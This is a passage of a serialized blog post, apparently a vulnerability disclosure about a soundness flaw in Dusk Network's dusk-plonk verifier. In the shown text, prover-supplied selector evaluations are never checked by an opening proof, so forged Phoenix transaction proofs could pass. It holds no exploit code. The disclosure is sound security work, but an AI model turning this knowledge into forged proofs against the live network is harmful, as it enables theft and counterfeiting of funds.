type":29,"value":146022},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":24,"tag":154,"props":146024,"children":146026},{"className":146025},[5642,5643],[146027],{"type":24,"tag":158,"props":146028,"children":146030},{"className":146029},[5648],[146031],{"type":24,"tag":158,"props":146032,"children":146034},{"className":146033,"ariaHidden":3185},[5653],[146035],{"type":24,"tag":158,"props":146036,"children":146038},{"className":146037},[5658],[146039,146043,146048,146105],{"type":24,"tag":158,"props":146040,"children":146042},{"className":146041,"style":5771},[5663],[],{"type":24,"tag":158,"props":146044,"children":146046},{"className":146045},[22961],[146047],{"type":29,"value":2048},{"type":24,"tag":158,"props":146049,"children":146051},{"className":146050},[5669],[146052,146057],{"type":24,"tag":158,"props":146053,"children":146055},{"className":146054,"style":94811},[5669,22832],[146056],{"type":29,"value":94814},{"type":24,"tag":158,"props":146058,"children":146060},{"className":146059},[5686],[146061],{"type":24,"tag":158,"props":146062,"children":146064},{"className":146063},[5691,22886],[146065,146094],{"type":24,"tag":158,"props":146066,"children":146068},{"className":146067},[5696],[146069,146089],{"type":24,"tag":158,"props":146070,"children":146072},{"className":146071,"style":143880},[5701],[146073],{"type":24,"tag":158,"props":146074,"children":146075},{"style":94858},[146076,146080],{"type":24,"tag":158,"props":146077,"children":146079},{"className":146078,"style":5711},[5710],[],{"type":24,"tag":158,"props":146081,"children":146083},{"className":146082},[5716,5717,5718,5719],[146084],{"type":24,"tag":158,"props":146085,"children":146087},{"className":146086,"style":96333},[5669,22832,5719],[146088],{"type":29,"value":96336},{"type":24,"tag":158,"props":146090,"children":146092},{"className":146091},[22989],[146093],{"type":29,"value":22992},{"type":24,"tag":158,"props":146095,"children":146097},{"className":146096},[5696],[146098],{"type":24,"tag":158,"props":146099,"children":146101},{"className":146100,"style":94408},[5701],[146102],{"type":24,"tag":158,"props":146103,"children":146104},{},[],{"type":24,"tag":158,"props":146106,"children":146108},{"className":146107},[22983],[146109],{"type":29,"value":16646},{"type":29,"value":191},{"type":24,"tag":154,"props":146112,"children":146114},{"className":146113},[5642,5643],[146115],{"type":24,"tag":158,"props":146116,"children":146118},{"className":146117},[5648],[146119],{"type":24,"tag":158,"props":146120,"children":146122},{"className":146121,"ariaHidden":3185},[5653],[146123],{"type":24,"tag":158,"props":146124,"children":146126},{"className":146125},[5658],[146127,146131,146136,146193],{"type":24,"tag":158,"props":146128,"children":146130},{"className":146129,"style":5771},[5663],[],{"type":24,"tag":158,"props":146132,"children":146134},{"className":146133},[22961],[146135],{"type":29,"value":2048},{"type":24,"tag":158,"props":146137,"children":146139},{"className":146138},[5669],[146140,146145],{"type":24,"tag":158,"props":146141,"children":146143},{"className":146142,"style":94811},[5669,22832],[146144],{"type":29,"value":94814},{"type":24,"tag":158,"props":146146,"children":146148},{"className":146147},[5686],[146149],{"type":24,"tag":158,"props":146150,"children":146152},{"className":146151},[5691,22886],[146153,146182],{"type":24,"tag":158,"props":146154,"children":146156},{"className":146155},[5696],[146157,146177],{"type":24,"tag":158,"props":146158,"children":146160},{"className":146159,"style":143880},[5701],[146161],{"type":24,"tag":158,"props":146162,"children":146163},{"style":94858},[146164,146168],{"type":24,"tag":158,"props":146165,"children":146167},{"className":146166,"style":5711},[5710],[],{"type":24,"tag":158,"props":146169,"children":146171},{"className":146170},[5716,5717,5718,5719],[146172],{"type":24,"tag":158,"props":146173,"children":146175},{"className":146174,"style":94325},[5669,22832,5719],[146176],{"type":29,"value":116644},{"type":24,"tag":158,"props":146178,"children":146180},{"className":146179},[22989],[146181],{"type":29,"value":22992},{"type":24,"tag":158,"props":146183,"children":146185},{"className":146184},[5696],[146186],{"type":24,"tag":158,"props":146187,"children":146189},{"className":146188,"style":94408},[5701],[146190],{"type":24,"tag":158,"props":146191,"children":146192},{},[],{"type":24,"tag":158,"props":146194,"children":146196},{"className":146195},[22983],[146197],{"type":29,"value":16646},{"type":29,"value":191},{"type":24,"tag":154,"props":146200,"children":146202},{"className":146201},[5642,5643],[146203],{"type":24,"tag":158,"props":146204,"children":146206},{"className":146205},[5648],[146207],{"type":24,"tag":158,"props":146208,"children":146210},{"className":146209,"ariaHidden":3185},[5653],[146211],{"type":24,"tag":158,"props":146212,"children":146214},{"className":146213},[5658],[146215,146219,146224,146281],{"type":24,"tag":158,"props":146216,"children":146218},{"className":146217,"style":5771},[5663],[],{"type":24,"tag":158,"props":146220,"children":146222},{"className":146221},[22961],[146223],{"type":29,"value":2048},{"type":24,"tag":158,"props":146225,"children":146227},{"className":146226},[5669],[146228,146233],{"type":24,"tag":158,"props":146229,"children":146231},{"className":146230,"style":94811},[5669,22832],[146232],{"type":29,"value":145910},{"type":24,"tag":158,"props":146234,"children":146236},{"className":146235},[5686],[146237],{"type":24,"tag":158,"props":146238,"children":146240},{"className":146239},[5691,22886],[146241,146270],{"type":24,"tag":158,"props":146242,"children":146244},{"className":146243},[5696],[146245,146265],{"type":24,"tag":158,"props":146246,"children":146248},{"className":146247,"style":94377},[5701],[146249],{"type":24,"tag":158,"props":146250,"children":146251},{"style":94858},[146252,146256],{"type":24,"tag":158,"props":146253,"children":146255},{"className":146254,"style":5711},[5710],[],{"type":24,"tag":158,"props":146257,"children":146259},{"className":146258},[5716,5717,5718,5719],[146260],{"type":24,"tag":158,"props":146261,"children":146263},{"className":146262},[5669,5719],[146264],{"type":29,"value":18767},{"type":24,"tag":158,"props":146266,"children":146268},{"className":146267},[22989],[146269],{"type":29,"value":22992},{"type":24,"tag":158,"props":146271,"children":146273},{"className":146272},[5696],[146274],{"type":24,"tag":158,"props":146275,"children":146277},{"className":146276,"style":94408},[5701],[146278],{"type":24,"tag":158,"props":146279,"children":146280},{},[],{"type":24,"tag":158,"props":146282,"children":146284},{"className":146283},[22983],[146285],{"type":29,"value":16646},{"type":29,"value":146287},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":24,"tag":25,"props":146289,"children":146290},{},[146291],{"type":29,"value":146292},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":24,"tag":20034,"props":146294,"children":146295},{},[],{"type":24,"tag":59,"props":146297,"children":146299},{"id":146298},"where-dusk-plonk-differs-from-textbook-plonk",[146300],{"type":29,"value":146301},"Where dusk-plonk differs from textbook PLONK",{"type":24,"tag":25,"props":146303,"children":146304},{},[146305,146314,146316,146321,146323,146353],{"type":24,"tag":101,"props":146306,"children":146308},{"href":143180,"rel":146307},[105],[146309],{"type":24,"tag":154,"props":146310,"children":146312},{"className":146311},[],[146313],{"type":29,"value":143184},{"type":29,"value":146315}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":24,"tag":154,"props":146317,"children":146319},{"className":146318},[],[146320],{"type":29,"value":71840},{"type":29,"value":146322},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":24,"tag":154,"props":146324,"children":146326},{"className":146325},[5642,5643],[146327],{"type":24,"tag":158,"props":146328,"children":146330},{"className":146329},[5648],[146331],{"type":24,"tag":158,"props":146332,"children":146334},{"className":146333,"ariaHidden":3185},[5653],[146335],{"type":24,"tag":158,"props":146336,"children":146338},{"className":146337},[5658],[146339,146343,146348],{"type":24,"tag":158,"props":146340,"children":146342},{"className":146341,"style":112166},[5663],[],{"type":24,"tag":158,"props":146344,"children":146346},{"className":146345,"style":114882},[5669,22832],[146347],{"type":29,"value":114885},{"type":24,"tag":158,"props":146349,"children":146351},{"className":146350,"style":94811},[5669,22832],[146352],{"type":29,"value":146015},{"type":29,"value":146354},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":24,"tag":25,"props":146356,"children":146357},{},[146358,146360,146365,146366,146371,146373,146379,146381,146388],{"type":29,"value":146359},"The important part for this bug is the boundary between ",{"type":24,"tag":897,"props":146361,"children":146362},{},[146363],{"type":29,"value":146364},"public circuit data",{"type":29,"value":1826},{"type":24,"tag":897,"props":146367,"children":146368},{},[146369],{"type":29,"value":146370},"prover claims about that data at the random challenge point",{"type":29,"value":146372},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":24,"tag":154,"props":146374,"children":146376},{"className":146375},[],[146377],{"type":29,"value":146378},"Ql, Qr, Qm, Qo, Qk",{"type":29,"value":146380}," directly into the ",{"type":24,"tag":101,"props":146382,"children":146385},{"href":146383,"rel":146384},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[105],[146386],{"type":29,"value":146387},"linearization multi-scalar multiplication",{"type":29,"value":146389},", ensuring their values are cryptographically bound by construction.",{"type":24,"tag":25,"props":146391,"children":146392},{},[146393,146395,146420],{"type":29,"value":146394},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":24,"tag":154,"props":146396,"children":146398},{"className":146397},[5642,5643],[146399],{"type":24,"tag":158,"props":146400,"children":146402},{"className":146401},[5648],[146403],{"type":24,"tag":158,"props":146404,"children":146406},{"className":146405,"ariaHidden":3185},[5653],[146407],{"type":24,"tag":158,"props":146408,"children":146410},{"className":146409},[5658],[146411,146415],{"type":24,"tag":158,"props":146412,"children":146414},{"className":146413,"style":112166},[5663],[],{"type":24,"tag":158,"props":146416,"children":146418},{"className":146417,"style":114882},[5669,22832],[146419],{"type":29,"value":114885},{"type":29,"value":146421}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":24,"tag":25,"props":146423,"children":146424},{},[146425],{"type":29,"value":146426},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":24,"tag":146428,"props":146429,"children":146430},"dusk-verifier-dependence-graph",{},[],{"type":24,"tag":20034,"props":146432,"children":146433},{},[],{"type":24,"tag":59,"props":146435,"children":146437},{"id":146436},"how-dusk-uses-plonk",[146438],{"type":29,"value":146439},"How Dusk uses PLONK",{"type":24,"tag":25,"props":146441,"children":146442},{},[146443,146449],{"type":24,"tag":101,"props":146444,"children":146446},{"href":143189,"rel":146445},[105],[146447],{"type":29,"value":146448},"Dusk Network",{"type":29,"value":146450}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":24,"tag":17924,"props":146452,"children":146453},{},[146454,146459],{"type":24,"tag":1790,"props":146455,"children":146456},{},[146457],{"type":29,"value":146458},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":24,"tag":1790,"props":146460,"children":146461},{},[146462],{"type":29,"value":146463},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":24,"tag":25,"props":146465,"children":146466},{},[146467,146469,146480,146482,146493],{"type":29,"value":146468},"At node level, every ",{"type":24,"tag":101,"props":146470,"children":146473},{"href":146471,"rel":146472},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[105],[146474],{"type":24,"tag":154,"props":146475,"children":146477},{"className":146476},[],[146478],{"type":29,"value":146479},"ProtocolTransaction::Phoenix",{"type":29,"value":146481}," goes through ",{"type":24,"tag":101,"props":146483,"children":146486},{"href":146484,"rel":146485},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[105],[146487],{"type":24,"tag":154,"props":146488,"children":146490},{"className":146489},[],[146491],{"type":29,"value":146492},"verify_proof_with_version()",{"type":29,"value":146494}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":24,"tag":25,"props":146496,"children":146497},{},[146498,146500,146511,146513,146524,146525,146536,146537,146548,146549,146560],{"type":29,"value":146499},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":24,"tag":101,"props":146501,"children":146504},{"href":146502,"rel":146503},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[105],[146505],{"type":24,"tag":154,"props":146506,"children":146508},{"className":146507},[],[146509],{"type":29,"value":146510},"phoenix()",{"type":29,"value":146512},", for example in ",{"type":24,"tag":101,"props":146514,"children":146517},{"href":146515,"rel":146516},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[105],[146518],{"type":24,"tag":154,"props":146519,"children":146521},{"className":146520},[],[146522],{"type":29,"value":146523},"phoenix_stake()",{"type":29,"value":191},{"type":24,"tag":101,"props":146526,"children":146529},{"href":146527,"rel":146528},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[105],[146530],{"type":24,"tag":154,"props":146531,"children":146533},{"className":146532},[],[146534],{"type":29,"value":146535},"phoenix_stake_reward()",{"type":29,"value":191},{"type":24,"tag":101,"props":146538,"children":146541},{"href":146539,"rel":146540},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[105],[146542],{"type":24,"tag":154,"props":146543,"children":146545},{"className":146544},[],[146546],{"type":29,"value":146547},"phoenix_unstake()",{"type":29,"value":8136},{"type":24,"tag":101,"props":146550,"children":146553},{"href":146551,"rel":146552},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[105],[146554],{"type":24,"tag":154,"props":146555,"children":146557},{"className":146556},[],[146558],{"type":29,"value":146559},"phoenix_to_moonlight()",{"type":29,"value":146561},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":24,"tag":25,"props":146563,"children":146564},{},[146565],{"type":24,"tag":84,"props":146566,"children":146569},{"alt":146567,"src":146568},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":24,"tag":25,"props":146571,"children":146572},{},[146573,146575,146581,146583,146590],{"type":29,"value":146574},"The PLONK implementation, ",{"type":24,"tag":101,"props":146576,"children":146579},{"href":146577,"rel":146578},"https://github.com/dusk-network/plonk",[105],[146580],{"type":29,"value":143184},{"type":29,"value":146582},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":24,"tag":101,"props":146584,"children":146587},{"href":146585,"rel":146586},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[105],[146588],{"type":29,"value":146589},"the original paper",{"type":29,"value":146591}," was released.",{"type":24,"tag":25,"props":146593,"children":146594},{},[146595,146597,146603],{"type":29,"value":146596},"The Phoenix transaction PLONK circuit is defined ",{"type":24,"tag":101,"props":146598,"children":146601},{"href":146599,"rel":146600},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[105],[146602],{"type":29,"value":48855},{"type":29,"value":146604},". The circuit enforces the following set of constraints:",{"type":24,"tag":57017,"props":146606,"children":146607},{},[146608,146624],{"type":24,"tag":124276,"props":146609,"children":146610},{},[146611],{"type":24,"tag":124280,"props":146612,"children":146613},{},[146614,146619],{"type":24,"tag":124284,"props":146615,"children":146616},{},[146617],{"type":29,"value":146618},"Circuit check",{"type":24,"tag":124284,"props":146620,"children":146621},{},[146622],{"type":29,"value":146623},"Statement being checked",{"type":24,"tag":124304,"props":146625,"children":146626},{},[146627,146645,146663,146681,146699,146856,146996,147014],{"type":24,"tag":124280,"props":146628,"children":146629},{},[146630,146640],{"type":24,"tag":124311,"props":146631,"children":146632},{},[146633],{"type":24,"tag":101,"props":146634,"children":146637},{"href":146635,"rel":146636},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[105],[146638],{"type":29,"value":146639},"Merkle tree membership",{"type":24,"tag":124311,"props":146641,"children":146642},{},[146643],{"type":29,"value":146644},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":24,"tag":124280,"props":146646,"children":146647},{},[146648,146658],{"type":24,"tag":124311,"props":146649,"children":146650},{},[146651],{"type":24,"tag":101,"props":146652,"children":146655},{"href":146653,"rel":146654},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[105],[146656],{"type":29,"value":146657},"Input-note secret-key authorization",{"type":24,"tag":124311,"props":146659,"children":146660},{},[146661],{"type":29,"value":146662},"The prover knows the secret key controlling each input note",{"type":24,"tag":124280,"props":146664,"children":146665},{},[146666,146676],{"type":24,"tag":124311,"props":146667,"children":146668},{},[146669],{"type":24,"tag":101,"props":146670,"children":146673},{"href":146671,"rel":146672},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[105],[146674],{"type":29,"value":146675},"Nullifier correctness",{"type":24,"tag":124311,"props":146677,"children":146678},{},[146679],{"type":29,"value":146680},"Each nullifier matches the corresponding note key and position",{"type":24,"tag":124280,"props":146682,"children":146683},{},[146684,146694],{"type":24,"tag":124311,"props":146685,"children":146686},{},[146687],{"type":24,"tag":101,"props":146688,"children":146691},{"href":146689,"rel":146690},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[105],[146692],{"type":29,"value":146693},"Output value commitment correctness",{"type":24,"tag":124311,"props":146695,"children":146696},{},[146697],{"type":29,"value":146698},"Each public output commitment matches the secret output value and blinder",{"type":24,"tag":124280,"props":146700,"children":146701},{},[146702,146712],{"type":24,"tag":124311,"props":146703,"children":146704},{},[146705],{"type":24,"tag":101,"props":146706,"children":146709},{"href":146707,"rel":146708},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[105],[146710],{"type":29,"value":146711},"Balance integrity",{"type":24,"tag":124311,"props":146713,"children":146714},{},[146715],{"type":24,"tag":154,"props":146716,"children":146718},{"className":146717},[5642,5643],[146719],{"type":24,"tag":158,"props":146720,"children":146722},{"className":146721},[5648],[146723],{"type":24,"tag":158,"props":146724,"children":146726},{"className":146725,"ariaHidden":3185},[5653],[146727,146767,146807,146839],{"type":24,"tag":158,"props":146728,"children":146730},{"className":146729},[5658],[146731,146735,146740,146744,146754,146758,146763],{"type":24,"tag":158,"props":146732,"children":146734},{"className":146733,"style":5771},[5663],[],{"type":24,"tag":158,"props":146736,"children":146738},{"className":146737,"style":22875},[22868,22873,22874],[146739],{"type":29,"value":110120},{"type":24,"tag":158,"props":146741,"children":146743},{"className":146742,"style":5789},[5750],[],{"type":24,"tag":158,"props":146745,"children":146747},{"className":146746},[5669,29],[146748],{"type":24,"tag":158,"props":146749,"children":146751},{"className":146750},[5669],[146752],{"type":29,"value":146753},"inputs",{"type":24,"tag":158,"props":146755,"children":146757},{"className":146756,"style":5848},[5750],[],{"type":24,"tag":158,"props":146759,"children":146761},{"className":146760},[5853],[146762],{"type":29,"value":1285},{"type":24,"tag":158,"props":146764,"children":146766},{"className":146765,"style":5848},[5750],[],{"type":24,"tag":158,"props":146768,"children":146770},{"className":146769},[5658],[146771,146775,146780,146784,146794,146798,146803],{"type":24,"tag":158,"props":146772,"children":146774},{"className":146773,"style":5771},[5663],[],{"type":24,"tag":158,"props":146776,"children":146778},{"className":146777,"style":22875},[22868,22873,22874],[146779],{"type":29,"value":110120},{"type":24,"tag":158,"props":146781,"children":146783},{"className":146782,"style":5789},[5750],[],{"type":24,"tag":158,"props":146785,"children":146787},{"className":146786},[5669,29],[146788],{"type":24,"tag":158,"props":146789,"children":146791},{"className":146790},[5669],[146792],{"type":29,"value":146793},"outputs",{"type":24,"tag":158,"props":146795,"children":146797},{"className":146796,"style":5751},[5750],[],{"type":24,"tag":158,"props":146799,"children":146801},{"className":146800},[5756],[146802],{"type":29,"value":728},{"type":24,"tag":158,"props":146804,"children":146806},{"className":146805,"style":5751},[5750],[],{"type":24,"tag":158,"props":146808,"children":146810},{"className":146809},[5658],[146811,146816,146826,146830,146835],{"type":24,"tag":158,"props":146812,"children":146815},{"className":146813,"style":146814},[5663],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":24,"tag":158,"props":146817,"children":146819},{"className":146818},[5669,29],[146820],{"type":24,"tag":158,"props":146821,"children":146823},{"className":146822},[5669],[146824],{"type":29,"value":146825},"fee",{"type":24,"tag":158,"props":146827,"children":146829},{"className":146828,"style":5751},[5750],[],{"type":24,"tag":158,"props":146831,"children":146833},{"className":146832},[5756],[146834],{"type":29,"value":728},{"type":24,"tag":158,"props":146836,"children":146838},{"className":146837,"style":5751},[5750],[],{"type":24,"tag":158,"props":146840,"children":146842},{"className":146841},[5658],[146843,146847],{"type":24,"tag":158,"props":146844,"children":146846},{"className":146845,"style":116380},[5663],[],{"type":24,"tag":158,"props":146848,"children":146850},{"className":146849},[5669,29],[146851],{"type":24,"tag":158,"props":146852,"children":146854},{"className":146853},[5669],[146855],{"type":29,"value":63237},{"type":24,"tag":124280,"props":146857,"children":146858},{},[146859,146876],{"type":24,"tag":124311,"props":146860,"children":146861},{},[146862,146869,146870],{"type":24,"tag":101,"props":146863,"children":146866},{"href":146864,"rel":146865},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[105],[146867],{"type":29,"value":146868},"Range checks on inputs",{"type":29,"value":1826},{"type":24,"tag":101,"props":146871,"children":146874},{"href":146872,"rel":146873},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[105],[146875],{"type":29,"value":146793},{"type":24,"tag":124311,"props":146877,"children":146878},{},[146879,146881],{"type":29,"value":146880},"All note values lie in ",{"type":24,"tag":154,"props":146882,"children":146884},{"className":146883},[5642,5643],[146885],{"type":24,"tag":158,"props":146886,"children":146888},{"className":146887},[5648],[146889],{"type":24,"tag":158,"props":146890,"children":146892},{"className":146891,"ariaHidden":3185},[5653],[146893,146978],{"type":24,"tag":158,"props":146894,"children":146896},{"className":146895},[5658],[146897,146901,146906,146911,146916,146920,146965,146969,146974],{"type":24,"tag":158,"props":146898,"children":146900},{"className":146899,"style":116637},[5663],[],{"type":24,"tag":158,"props":146902,"children":146904},{"className":146903},[22961],[146905],{"type":29,"value":2048},{"type":24,"tag":158,"props":146907,"children":146909},{"className":146908},[5669],[146910],{"type":29,"value":5682},{"type":24,"tag":158,"props":146912,"children":146914},{"className":146913},[5782],[146915],{"type":29,"value":5785},{"type":24,"tag":158,"props":146917,"children":146919},{"className":146918,"style":5789},[5750],[],{"type":24,"tag":158,"props":146921,"children":146923},{"className":146922},[5669],[146924,146929],{"type":24,"tag":158,"props":146925,"children":146927},{"className":146926},[5669],[146928],{"type":29,"value":4789},{"type":24,"tag":158,"props":146930,"children":146932},{"className":146931},[5686],[146933],{"type":24,"tag":158,"props":146934,"children":146936},{"className":146935},[5691],[146937],{"type":24,"tag":158,"props":146938,"children":146940},{"className":146939},[5696],[146941],{"type":24,"tag":158,"props":146942,"children":146944},{"className":146943,"style":5664},[5701],[146945],{"type":24,"tag":158,"props":146946,"children":146947},{"style":5705},[146948,146952],{"type":24,"tag":158,"props":146949,"children":146951},{"className":146950,"style":5711},[5710],[],{"type":24,"tag":158,"props":146953,"children":146955},{"className":146954},[5716,5717,5718,5719],[146956],{"type":24,"tag":158,"props":146957,"children":146959},{"className":146958},[5669,5719],[146960],{"type":24,"tag":158,"props":146961,"children":146963},{"className":146962},[5669,5719],[146964],{"type":29,"value":30682},{"type":24,"tag":158,"props":146966,"children":146968},{"className":146967,"style":5751},[5750],[],{"type":24,"tag":158,"props":146970,"children":146972},{"className":146971},[5756],[146973],{"type":29,"value":5730},{"type":24,"tag":158,"props":146975,"children":146977},{"className":146976,"style":5751},[5750],[],{"type":24,"tag":158,"props":146979,"children":146981},{"className":146980},[5658],[146982,146986,146991],{"type":24,"tag":158,"props":146983,"children":146985},{"className":146984,"style":5771},[5663],[],{"type":24,"tag":158,"props":146987,"children":146989},{"className":146988},[5669],[146990],{"type":29,"value":5672},{"type":24,"tag":158,"props":146992,"children":146994},{"className":146993},[22983],[146995],{"type":29,"value":16646},{"type":24,"tag":124280,"props":146997,"children":146998},{},[146999,147009],{"type":24,"tag":124311,"props":147000,"children":147001},{},[147002],{"type":24,"tag":101,"props":147003,"children":147006},{"href":147004,"rel":147005},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[105],[147007],{"type":29,"value":147008},"Sender-authorship signatures",{"type":24,"tag":124311,"props":147010,"children":147011},{},[147012],{"type":29,"value":147013},"The transaction payload is signed by the sender's two signing key components",{"type":24,"tag":124280,"props":147015,"children":147016},{},[147017,147027],{"type":24,"tag":124311,"props":147018,"children":147019},{},[147020],{"type":24,"tag":101,"props":147021,"children":147024},{"href":147022,"rel":147023},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[105],[147025],{"type":29,"value":147026},"Sender encryption correctness",{"type":24,"tag":124311,"props":147028,"children":147029},{},[147030],{"type":29,"value":147031},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":24,"tag":25,"props":147033,"children":147034},{},[147035,147037,147043,147045,147054],{"type":29,"value":147036},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":24,"tag":154,"props":147038,"children":147040},{"className":147039},[],[147041],{"type":29,"value":147042},"tx.public_inputs()",{"type":29,"value":147044}," via ",{"type":24,"tag":101,"props":147046,"children":147048},{"href":146484,"rel":147047},[105],[147049],{"type":24,"tag":154,"props":147050,"children":147052},{"className":147051},[],[147053],{"type":29,"value":146492},{"type":29,"value":347},{"type":24,"tag":25,"props":147056,"children":147057},{},[147058],{"type":29,"value":147059},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":24,"tag":20034,"props":147061,"children":147062},{},[],{"type":24,"tag":59,"props":147064,"children":147065},{"id":91579},[147066],{"type":29,"value":147067},"The bug",{"type":24,"tag":25,"props":147069,"children":147070},{},[147071,147073,147080,147082,147093],{"type":29,"value":147072},"In the ",{"type":24,"tag":101,"props":147074,"children":147077},{"href":147075,"rel":147076},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[105],[147078],{"type":29,"value":147079},"PLONK verification",{"type":29,"value":147081},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":24,"tag":101,"props":147083,"children":147086},{"href":147084,"rel":147085},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[105],[147087],{"type":24,"tag":154,"props":147088,"children":147090},{"className":147089},[],[147091],{"type":29,"value":147092},"E_evals",{"type":29,"value":147094},") are:",{"type":24,"tag":17924,"props":147096,"children":147097},{},[147098,147130,147155,147180],{"type":24,"tag":1790,"props":147099,"children":147100},{},[147101,147107,147108,147114,147115,147121,147122,147128],{"type":24,"tag":154,"props":147102,"children":147104},{"className":147103},[],[147105],{"type":29,"value":147106},"a_eval",{"type":29,"value":191},{"type":24,"tag":154,"props":147109,"children":147111},{"className":147110},[],[147112],{"type":29,"value":147113},"b_eval",{"type":29,"value":191},{"type":24,"tag":154,"props":147116,"children":147118},{"className":147117},[],[147119],{"type":29,"value":147120},"c_eval",{"type":29,"value":191},{"type":24,"tag":154,"props":147123,"children":147125},{"className":147124},[],[147126],{"type":29,"value":147127},"d_eval",{"type":29,"value":147129}," (witness)",{"type":24,"tag":1790,"props":147131,"children":147132},{},[147133,147139,147140,147146,147147,147153],{"type":24,"tag":154,"props":147134,"children":147136},{"className":147135},[],[147137],{"type":29,"value":147138},"s_sigma_1_eval",{"type":29,"value":191},{"type":24,"tag":154,"props":147141,"children":147143},{"className":147142},[],[147144],{"type":29,"value":147145},"s_sigma_2_eval",{"type":29,"value":191},{"type":24,"tag":154,"props":147148,"children":147150},{"className":147149},[],[147151],{"type":29,"value":147152},"s_sigma_3_eval",{"type":29,"value":147154}," (permutation)",{"type":24,"tag":1790,"props":147156,"children":147157},{},[147158,147164,147165,147171,147172,147178],{"type":24,"tag":154,"props":147159,"children":147161},{"className":147160},[],[147162],{"type":29,"value":147163},"a_w_eval",{"type":29,"value":191},{"type":24,"tag":154,"props":147166,"children":147168},{"className":147167},[],[147169],{"type":29,"value":147170},"b_w_eval",{"type":29,"value":191},{"type":24,"tag":154,"props":147173,"children":147175},{"className":147174},[],[147176],{"type":29,"value":147177},"d_w_eval",{"type":29,"value":147179}," (shifted witness)",{"type":24,"tag":1790,"props":147181,"children":147182},{},[147183,147189],{"type":24,"tag":154,"props":147184,"children":147186},{"className":147185},[],[147187],{"type":29,"value":147188},"z_eval",{"type":29,"value":147190}," (permutation accumulator)",{"type":24,"tag":25,"props":147192,"children":147193},{},[147194,147196,147200],{"type":29,"value":147195},"But the following selector evaluations were 